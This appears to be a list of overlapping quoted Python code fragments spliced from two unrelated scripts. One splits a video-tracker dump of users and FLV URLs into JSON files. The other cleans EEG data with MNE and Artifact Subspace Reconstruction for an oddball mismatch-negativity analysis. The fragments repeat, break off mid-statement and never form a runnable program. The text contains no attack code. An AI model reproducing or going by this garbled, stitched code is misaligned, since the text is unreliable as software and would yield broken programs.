"= 'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path):",
"= doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc = doc['flv'] flv_keys",
"if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) for",
"in flv_keys: url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key, subpool in",
"os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) for key, subpool",
"not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) if __name__",
"in user_pool.items(): for subkey, subsubpool in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey) path =",
"subsubpool in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path =",
"subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path) with",
"= flv_urls for key, subpool in user_pool.items(): for subkey, subsubpool in subpool.items(): path",
"flv_keys: url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key, subpool in user_pool.items():",
"path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file:",
"main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if not os.path.isdir(args.output_dir):",
"dir_path = os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool,",
"flv_urls = [] flv_doc = doc['flv'] flv_keys = tuple(sorted(int(key) for key in flv_doc.keys()))",
"'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path)",
") flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for line in args.input_dump: doc = json.loads(line) if",
"user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc = doc['flv'] flv_keys = tuple(sorted(int(key)",
"for key, subpool in user_pool.items(): for subkey, subsubpool in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key,",
"as out_file: json.dump(subsubpool, out_file, indent=2) for key, subpool in flv_pool.items(): for subkey, subsubpool",
"def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if not",
"flv_urls for key, subpool in user_pool.items(): for subkey, subsubpool in subpool.items(): path =",
"path = 'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not",
"is not a directory') user_pool = collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool",
"flv_doc.keys())) for key in flv_keys: url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for",
"not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) for key,",
"= json.loads(line) if not doc.get('item_added_to_tracker'): continue user = doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id)",
"args.input_dump: doc = json.loads(line) if not doc.get('item_added_to_tracker'): continue user = doc['user'].lower() video_id =",
"= list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc = doc['flv'] flv_keys = tuple(sorted(int(key) for key",
"import collections import json import shutil import os def main(): arg_parser = argparse.ArgumentParser()",
"flv_doc = doc['flv'] flv_keys = tuple(sorted(int(key) for key in flv_doc.keys())) for key in"
] |
[
"epochs_filt = mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct",
"VEOG cutoff = 5 # Makoto preprocessing says best between 10 and 20",
"matplotlib.pyplot as plt from mne.viz import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname,",
"= mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct =",
"[evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w')",
"tools,asr,raw_asrcalibration import numpy as np import matplotlib.pyplot as plt from mne.viz import plot_evoked_topo",
"raw._data l_freq = 2 h_freq = 20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b,",
"= Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std =",
"evoked_dev, evoked_clean_std, evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w') plt.show()",
"= rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] # 2 VEOG cutoff = 5 # Makoto",
"=raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads') # ASR Calibration raworig_Data= raw._data l_freq = 2",
"mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads') # ASR",
"https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process on epoch",
"ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events = np.squeeze(events, axis=0) tmin, tmax =",
"exclude='bads') # ASR Calibration raworig_Data= raw._data l_freq = 2 h_freq = 20 Wn",
"] b, a = scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass', analog = False, ftype",
"preload = True) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False,",
"plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload = False) picks_eeg = mne.pick_types(raw.info,",
"[evoked_clean_MMN,evoked_MMN] colors = 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1,",
"sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util import tools,asr,raw_asrcalibration import numpy as np import matplotlib.pyplot",
"sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util import tools,asr,raw_asrcalibration import numpy as np import",
"proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect",
"eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage, preload",
"process on epoch event_id = {'Std': 1, 'Dev': 2} events_orig,_ = mne.events_from_annotations(raw) ixdev",
"reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for i_epoch",
"None) rawCalibAsr=raw.copy() tmin = 30 tmax = 60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG",
"import scipy from util import tools,asr,raw_asrcalibration import numpy as np import matplotlib.pyplot as",
", ixdev)))),:] events = np.squeeze(events, axis=0) tmin, tmax = -0.2, 0.5 raw4detect =",
"preprocessing says best between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state =",
"fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload = False) picks_eeg = mne.pick_types(raw.info, meg=False,",
"event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean =",
"mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage, preload = True) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True,",
"2019 @author: Manu \"\"\" import mne from mne import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/')",
"Data2Correct = epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:]",
"import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload = False) picks_eeg =",
"False, ftype = 'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis = 1,",
"evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds =",
"colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data =",
"plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN",
"meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname,",
"events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events = np.squeeze(events, axis=0) tmin, tmax = -0.2,",
"'bandpass', analog = False, ftype = 'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:],",
"= 'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis = 1, zi =",
"= 20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a = scipy.signal.iirfilter(N=2, Wn=Wn, btype",
"= io.read_raw_brainvision(fname, montage=montage, preload = True) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads')",
"\"\"\" import mne from mne import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from",
"asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg)",
"2 h_freq = 20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a = scipy.signal.iirfilter(N=2,",
"epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax,",
"events = np.squeeze(events, axis=0) tmin, tmax = -0.2, 0.5 raw4detect = raw.copy() raw4detect._data,iirstate",
"@author: Manu \"\"\" import mne from mne import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import",
"cutoff = 5 # Makoto preprocessing says best between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29",
"io.read_raw_brainvision(fname, preload = False) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels =",
"Wn=Wn, btype = 'bandpass', analog = False, ftype = 'butter', output = 'ba')",
"{'Std': 1, 'Dev': 2} events_orig,_ = mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events",
"event_id = {'Std': 1, 'Dev': 2} events_orig,_ = mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd=",
"epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]): EpochYR =",
"io.read_raw_brainvision(fname, montage=montage, preload = True) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw",
"= asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg)",
"mne.viz import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload = False) picks_eeg",
"(evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show() kwargs",
"tmax = 60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] # 2 VEOG",
"mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax,",
"meg=False, eeg=True, eog=False,stim=True, exclude='bads') # ASR Calibration raworig_Data= raw._data l_freq = 2 h_freq",
"ChanName4VEOG = ['Fp1','Fp2'] # 2 VEOG cutoff = 5 # Makoto preprocessing says",
"= epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]): EpochYR",
"= events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events = np.squeeze(events, axis=0) tmin, tmax = -0.2, 0.5",
"= None) rawCalibAsr=raw.copy() tmin = 30 tmax = 60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax)",
"np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage, preload = True) picks_eeg =",
"# -*- coding: utf-8 -*- \"\"\" Created on Fri Jun 21 15:39:43 2019",
"tmax = -0.2, 0.5 raw4detect = raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect",
"# ASR Calibration raworig_Data= raw._data l_freq = 2 h_freq = 20 Wn =",
"np.squeeze(events, axis=0) tmin, tmax = -0.2, 0.5 raw4detect = raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None)",
"evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev, evoked_clean_std,",
"tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors",
"# Makoto preprocessing says best between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True",
"raworig_Data[picks_eeg,:], axis = 1, zi = None) rawCalibAsr=raw.copy() tmin = 30 tmax =",
"numpy as np import matplotlib.pyplot as plt from mne.viz import plot_evoked_topo fname =",
"2 VEOG cutoff = 5 # Makoto preprocessing says best between 10 and",
"epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events,",
"Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std",
"range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id)",
"plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN=",
"'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5,",
"-*- coding: utf-8 -*- \"\"\" Created on Fri Jun 21 15:39:43 2019 @author:",
"best between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering)",
"says best between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG,",
"21 15:39:43 2019 @author: Manu \"\"\" import mne from mne import io import",
"import mne from mne import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util",
"title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data",
"= raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process on epoch event_id = {'Std': 1, 'Dev':",
"# 2 VEOG cutoff = 5 # Makoto preprocessing says best between 10",
"evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w')",
"\"\"\" Created on Fri Jun 21 15:39:43 2019 @author: Manu \"\"\" import mne",
"0.5 raw4detect = raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect = mne.Epochs(raw4detect, events=events,",
"a, raworig_Data[picks_eeg,:], axis = 1, zi = None) rawCalibAsr=raw.copy() tmin = 30 tmax",
"= 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload = False) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True,",
"montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage, preload = True) picks_eeg = mne.pick_types(raw.info,",
"Calibration raworig_Data= raw._data l_freq = 2 h_freq = 20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.)",
"= True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process on epoch event_id =",
"True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process on epoch event_id = {'Std':",
"axis = 1, zi = None) rawCalibAsr=raw.copy() tmin = 30 tmax = 60",
"= asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev =",
"True) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True,",
"= (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show()",
"l_freq = 2 h_freq = 20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a",
"= 5 # Makoto preprocessing says best between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering",
"as np import matplotlib.pyplot as plt from mne.viz import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr'",
"on Fri Jun 21 15:39:43 2019 @author: Manu \"\"\" import mne from mne",
"mne from mne import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util import",
"import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util import tools,asr,raw_asrcalibration import numpy as np",
"import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util import tools,asr,raw_asrcalibration import numpy",
"from mne.viz import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload = False)",
"mne import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util import tools,asr,raw_asrcalibration import",
"= True) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False, eeg=True,",
"= -0.2, 0.5 raw4detect = raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect =",
"EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate",
"DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev",
"'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data -",
"evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200",
"= np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:]",
"zi = None) rawCalibAsr=raw.copy() tmin = 30 tmax = 60 #s rawCalibAsr =",
"raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None,",
"on epoch event_id = {'Std': 1, 'Dev': 2} events_orig,_ = mne.events_from_annotations(raw) ixdev =",
"np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta'",
"Makoto preprocessing says best between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state",
"evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times=",
"raw4detect = raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id,",
"evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax,",
"tmin = 30 tmax = 60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2']",
"tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape))",
"evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors",
"1, zi = None) rawCalibAsr=raw.copy() tmin = 30 tmax = 60 #s rawCalibAsr",
"i_epoch in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean",
"= 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1, 0.40, 0.025),",
"evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200",
"title='MMN', background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5, vmax=1.5, layout='auto', head_pos=dict(center=(0., 0.),",
"from mne import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util import tools,asr,raw_asrcalibration",
"= epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2,",
"evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data",
"from util import tools,asr,raw_asrcalibration import numpy as np import matplotlib.pyplot as plt from",
"= mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events, event_id=event_id,",
"proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for",
"(evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red',",
"import numpy as np import matplotlib.pyplot as plt from mne.viz import plot_evoked_topo fname",
"'Dev': 2} events_orig,_ = mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd",
